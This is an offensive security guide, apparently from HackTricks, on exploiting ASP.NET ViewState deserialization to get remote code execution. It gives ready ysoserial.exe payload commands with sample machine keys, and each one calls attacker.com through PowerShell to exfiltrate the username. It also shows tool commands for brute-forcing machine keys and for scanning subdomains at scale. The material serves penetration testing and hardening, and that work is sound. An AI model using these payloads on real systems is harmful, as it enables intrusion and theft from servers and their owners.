Exploiting __VIEWSTATE without knowing the secrets
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
.png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f)
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
ViewState is the method that the ASP.NET framework uses by default to preserve page and control values between web pages. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.
The following properties or combination of properties apply to ViewState information:
- Base64
- Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false
- Base64 + MAC (Message Authentication Code) Enabled
- Can be defined using EnableViewStateMac attribute set to true
- Base64 + Encrypted
- Can be defined using viewStateEncryptionMode attribute set to true

It is also possible to disable the ViewStateMAC completely by setting the
AspNetEnforceViewStateMac
registry key to zero in:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identifying ViewState Attributes
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite:

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Developers can remove ViewState from becoming part of an HTTP Request (the user won't receive this cookie).
One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization.
However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.
In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
We can also do it for overall application by setting it on the web.config file as shown below:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
As the parameter is MAC protected this time to successfully execute the attack we first need the key used. In this case, BurpSuite will let us know that the parameter is MAC protected:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is another tool which can identify known machineKeys. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. For .NET viewstates, there is a "python blacklist3r" utility, which is the quickest way to use it.
It can either be supplied with the viewstate and generator directly:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Or, it can connect directly to the target URL and try to carve the viewstate out of the HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

To search for vulnerable viewstates at scale, in conjunction with subdomain enumeration, the
badsecrets
BBOT module can be used:bbot -f subdomain-enum -m badsecrets -t evil.corp

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
In cases where
_VIEWSTATEGENERATOR
parameter isn't sent by the server you don't need to provide the --generator
parameter but these ones:--apppath="/" --path="/hello.aspx"
In this case Burp doesn't find if the parameter is protected with MAC because it doesn't recognise the values. Then, the value is probably encrypted and you will need the Machine Key to encrypt your payload to exploit the vulnerability.

Prior to .NET 4.5, ASP.NET can accept an unencrypted _
__VIEWSTATE
_parameter from the users even if ViewStateEncryptionMode
has been set to Always. ASP.NET only checks the presence of the __VIEWSTATEENCRYPTED
parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.Threfore, if the Machinekey is known (e.g. via a directory traversal issue), YSoSerial.Net command used in the Case 2, can be used to perform RCE using ViewState deserialization vulnerability.
- Remove
__VIEWSTATEENCRYPTED
parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure:

We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
<httpRuntime targetFramework="4.5" />
Alternatively, this can be done by specifying the below option inside the
machineKey
paramter of web.config file.compatibilityMode="Framework45"
As in the previous case Burp doesn't identify if the request is MAC protected because the value is encrypted. Then, to send a valid payload the attacker need the key.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
If you have the value of
__VIEWSTATEGENERATOR
you can try to use the --generator
parameter with that value and omit the parameters --path
and --apppath

If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. PoC of Successful Exploitation
The ViewStateUserKey property can be used to defend against a CSRF attack. If such a key has been defined in the application and we try to generate the ViewState payload with the methods discussed till now, the payload won’t be processed by the application.
You need to use one more parameter in order to create correctly the payload:
--viewstateuserkey="randomstringdefinedintheserver"
For all the test cases, if the ViewState YSoSerial.Net payload works successfully then the server responds with “500 Internal server error” having response content “The state information is invalid for this page and might be corrupted” and we get the OOB request as shown in Figures below:

out of band request with the current username

.png?alt=media&token=13f4d279-7d3f-47ce-a68e-35f9a906973f)
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 15d ago